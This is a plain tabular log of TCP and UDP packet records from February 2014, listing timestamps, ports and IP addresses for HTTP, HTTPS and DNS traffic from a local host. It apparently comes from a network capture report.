Feb 27, 2014 17:56:11.285943031 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.285986900 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.347290039 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.347306013 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.347408056 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.347426891 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.347516060 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.358474970 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.358490944 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.358493090 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.358741999 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.369348049 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.369354010 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.369605064 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.369622946 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.369781971 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.391202927 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.391222000 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.391226053 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.392252922 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.424678087 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.424686909 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.424691916 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.424695969 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.424699068 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.424772978 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.424864054 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.424874067 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.424921036 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.424946070 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.425044060 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.445980072 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.445997953 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.446002007 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.446141005 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.446471930 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.446489096 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.446578979 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.446597099 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.446801901 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.490156889 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.490164995 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.490166903 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.490170002 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.490171909 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.490331888 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.490369081 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.490374088 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.490825891 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.501029968 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.501036882 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.501039982 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.501243114 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.512075901 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.512093067 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.512201071 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.512208939 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.512300968 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.555998087 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.556006908 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.556010962 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.556097984 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.556449890 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.556457043 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.556539059 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.556548119 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.556723118 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.566929102 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.566946030 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.566950083 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.567056894 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.578373909 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.578391075 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.578497887 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.578506947 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.578620911 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.671025991 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.671044111 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.671046972 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.671150923 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.681935072 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.681952000 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.682061911 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.682070971 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.682224989 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.704643011 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.704649925 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.704663038 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.705245972 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.759744883 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.759762049 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.759922028 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.759931087 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.760035038 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.770685911 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.770701885 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.770704985 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.770852089 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.792784929 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.792793036 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.793970108 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.793977022 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.794961929 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.887242079 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.887250900 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.887254953 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.887258053 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.887259960 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.887358904 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.887396097 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.887401104 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.887536049 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.947323084 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.947340965 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.947343111 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.947444916 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:12.013806105 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.013824940 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.013866901 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.013871908 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.013878107 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.014301062 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:12.014308929 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.014761925 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:12.014789104 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:12.075335979 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.075341940 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.075469971 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:12.075481892 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.075687885 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:12.086292028 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.086308956 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.086311102 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.086390018 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:12.141473055 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.141480923 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.141484022 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.141486883 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.141489029 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.141592026 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:12.141602039 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.141633034 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:12.141658068 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:12.346721888 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:12.398926973 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.398943901 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.398947001 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.399065018 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:12.566484928 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:12.622159004 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.622175932 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.622179031 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.622271061 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.622307062 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:12.622518063 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:12.622524977 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:12.784236908 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:12.851558924 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:56:12.851622105 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:13.847444057 MEZ	64501	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:56:14.179053068 MEZ	53	64501	195.186.1.121	192.168.0.18
Feb 27, 2014 17:56:14.191716909 MEZ	1061	80	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:14.191734076 MEZ	80	1061	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:14.191804886 MEZ	1061	80	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:14.193988085 MEZ	1061	80	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:14.193998098 MEZ	80	1061	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:14.835745096 MEZ	80	1061	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:14.920516014 MEZ	80	1061	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:14.921796083 MEZ	1061	80	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:14.932898045 MEZ	1061	80	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:14.932913065 MEZ	80	1061	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:15.013103008 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:15.013133049 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:15.013282061 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:15.024296999 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:15.024317980 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:15.753190041 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:15.956711054 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:15.956723928 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:15.957595110 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:15.957607031 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:16.301440001 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:16.503285885 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:18.418518066 MEZ	54440	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:56:18.615906954 MEZ	53	54440	195.186.1.121	192.168.0.18
Feb 27, 2014 17:56:18.622838020 MEZ	1063	80	192.168.0.18	23.61.69.163
Feb 27, 2014 17:56:18.622855902 MEZ	80	1063	23.61.69.163	192.168.0.18
Feb 27, 2014 17:56:18.623075008 MEZ	1063	80	192.168.0.18	23.61.69.163
Feb 27, 2014 17:56:18.628112078 MEZ	1063	80	192.168.0.18	23.61.69.163
Feb 27, 2014 17:56:18.628122091 MEZ	80	1063	23.61.69.163	192.168.0.18
Feb 27, 2014 17:56:19.014589071 MEZ	80	1063	23.61.69.163	192.168.0.18
Feb 27, 2014 17:56:19.127810001 MEZ	1063	80	192.168.0.18	23.61.69.163
Feb 27, 2014 17:56:19.149305105 MEZ	80	1063	23.61.69.163	192.168.0.18
Feb 27, 2014 17:56:19.346926928 MEZ	1063	80	192.168.0.18	23.61.69.163
Feb 27, 2014 17:56:19.346937895 MEZ	80	1063	23.61.69.163	192.168.0.18
Feb 27, 2014 17:56:19.504365921 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:19.504380941 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.565798998 MEZ	1063	80	192.168.0.18	23.61.69.163
Feb 27, 2014 17:56:19.805217028 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.866451979 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.866660118 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:19.866668940 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.886298895 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.886307001 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.886403084 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:19.886607885 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.886729956 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:19.896348953 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.907233953 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.907386065 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:19.946638107 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.947104931 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.947109938 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.947237015 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:19.947249889 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.947354078 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:19.957674980 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.957679987 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.957813025 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:19.958066940 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.958158970 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.958270073 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:19.958281040 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.991878033 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:19.992007017 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:19.995549917 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:20.002918959 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:20.002923965 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:20.003048897 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:20.003061056 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:20.003182888 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:20.014703989 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:20.085334063 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:20.085340023 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:20.085464001 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:20.085475922 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:20.085587978 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:20.107284069 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:20.129192114 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:20.129312992 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:20.129317045 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:20.129319906 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:20.129328012 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:20.129338980 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:20.129462957 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:20.129496098 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:20.140045881 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:20.151097059 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:20.152259111 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:20.152268887 MEZ	443	1062	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:20.156130075 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:20.159549952 MEZ	1062	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:25.739897966 MEZ	1064	80	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:25.739923000 MEZ	80	1064	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:25.740021944 MEZ	1064	80	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:25.740269899 MEZ	1064	80	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:25.740288973 MEZ	80	1064	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:26.210585117 MEZ	1059	80	192.168.0.18	95.211.192.195
Feb 27, 2014 17:56:26.210601091 MEZ	80	1059	95.211.192.195	192.168.0.18
Feb 27, 2014 17:56:26.210658073 MEZ	1059	80	192.168.0.18	95.211.192.195
Feb 27, 2014 17:56:26.210663080 MEZ	80	1059	95.211.192.195	192.168.0.18
Feb 27, 2014 17:56:26.210700989 MEZ	1059	80	192.168.0.18	95.211.192.195
Feb 27, 2014 17:56:26.210720062 MEZ	80	1059	95.211.192.195	192.168.0.18
Feb 27, 2014 17:56:26.210841894 MEZ	1059	80	192.168.0.18	95.211.192.195
Feb 27, 2014 17:56:26.210849047 MEZ	80	1059	95.211.192.195	192.168.0.18
Feb 27, 2014 17:56:26.210876942 MEZ	1059	80	192.168.0.18	95.211.192.195
Feb 27, 2014 17:56:26.210890055 MEZ	80	1059	95.211.192.195	192.168.0.18
Feb 27, 2014 17:56:26.210938931 MEZ	1059	80	192.168.0.18	95.211.192.195
Feb 27, 2014 17:56:26.210943937 MEZ	80	1059	95.211.192.195	192.168.0.18
Feb 27, 2014 17:56:26.210973024 MEZ	1059	80	192.168.0.18	95.211.192.195
Feb 27, 2014 17:56:26.210985899 MEZ	80	1059	95.211.192.195	192.168.0.18
Feb 27, 2014 17:56:26.211018085 MEZ	1059	80	192.168.0.18	95.211.192.195
Feb 27, 2014 17:56:26.211030960 MEZ	80	1059	95.211.192.195	192.168.0.18
Feb 27, 2014 17:56:26.211055994 MEZ	1059	80	192.168.0.18	95.211.192.195
Feb 27, 2014 17:56:26.211061954 MEZ	80	1059	95.211.192.195	192.168.0.18
Feb 27, 2014 17:56:26.211173058 MEZ	1059	80	192.168.0.18	95.211.192.195
Feb 27, 2014 17:56:26.211179018 MEZ	80	1059	95.211.192.195	192.168.0.18
Feb 27, 2014 17:56:26.567281961 MEZ	80	1064	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:26.638019085 MEZ	80	1064	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:26.638159037 MEZ	1064	80	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:26.638437033 MEZ	1064	80	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:26.638459921 MEZ	80	1064	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:26.643125057 MEZ	1065	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:26.643151999 MEZ	443	1065	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:26.643274069 MEZ	1065	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:26.645435095 MEZ	1065	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:26.645456076 MEZ	443	1065	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:26.933237076 MEZ	80	1059	95.211.192.195	192.168.0.18
Feb 27, 2014 17:56:27.035356998 MEZ	1059	80	192.168.0.18	95.211.192.195
Feb 27, 2014 17:56:27.197217941 MEZ	443	1065	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:27.331257105 MEZ	1065	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:27.331269979 MEZ	443	1065	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:27.331722975 MEZ	1065	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:27.331734896 MEZ	443	1065	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:27.595267057 MEZ	443	1065	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:27.635807991 MEZ	1065	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:27.635823011 MEZ	443	1065	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:28.000261068 MEZ	443	1065	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:28.068516970 MEZ	443	1065	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:28.069052935 MEZ	1065	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:28.069104910 MEZ	443	1065	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:28.097295046 MEZ	443	1065	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:28.097659111 MEZ	1065	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:28.097707033 MEZ	443	1065	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:28.124546051 MEZ	443	1065	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:28.124571085 MEZ	443	1065	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:28.124969006 MEZ	1065	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:28.125010014 MEZ	443	1065	98.139.183.24	192.168.0.18
Feb 27, 2014 17:56:28.125394106 MEZ	1065	443	192.168.0.18	98.139.183.24
Feb 27, 2014 17:56:28.126038074 MEZ	1065	443	192.168.0.18	98.139.183.24

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 27, 2014 17:54:07.940036058 MEZ	60068	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:08.232125998 MEZ	53	60068	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:15.418843985 MEZ	56183	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:15.692023039 MEZ	53	56183	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:16.701728106 MEZ	52891	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:17.171118975 MEZ	53	52891	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:17.828306913 MEZ	53902	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:17.888158083 MEZ	56168	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:17.895243883 MEZ	63737	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:17.948903084 MEZ	60640	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:18.121949911 MEZ	53	53902	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:18.290077925 MEZ	53	63737	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:18.346581936 MEZ	53	56168	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:18.346649885 MEZ	53	60640	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:19.295491934 MEZ	64025	53	192.168.0.18	195.186.1.121
